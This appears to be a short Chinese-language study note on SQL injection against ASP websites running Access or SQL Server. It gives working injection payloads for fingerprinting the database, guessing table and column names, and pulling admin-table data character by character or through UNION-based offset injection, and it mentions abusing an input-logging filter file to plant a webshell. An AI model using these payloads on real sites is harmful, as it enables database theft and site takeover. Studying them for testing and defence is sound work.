- access是没有数据库的;只有表
- 流程
- 判断数据库类型--->判断表名----> 判断列名---->判断列名长度(列中第一条记录数据长度)---->读取数据
- asp网站常用数据库:access和mssql数据库
- 判断数据库
- 如果有msysobjects则是access数据库;如果有sysobjects则是sqlsever数据库
- and exists (select * from msysobjects)>0 access
- and exists (select * from sysobjects)>0 sqlserver
- 查表
- and exists (select * from 表名)
- 查列名
- and exists (select 列名 from 表名)
- 判断列名长度
- and (select top 1 len(列名) from 表名)>5 :列名是否大于5
- 逐字符爆破
- and (select top 1 asc(mid(user,1,1)) from admin)=97
- asc() 返回字符的ascii码
- top 1 :只返回最上面一条数据
- 偏移注入(需要结合联合查询)
- 联合查询补充字段数=当前表的字段数-查询表的字段数*N
- union select 1,2,3,4,5,,,* from admin_user :*代表了admin_user的总字段数的倍数
- 通用性防注入
- 将输入的行为存放到sqlin.asp文件中;类似于日志
- 该操作会导致文件木马程序的执行;相当于文件上传了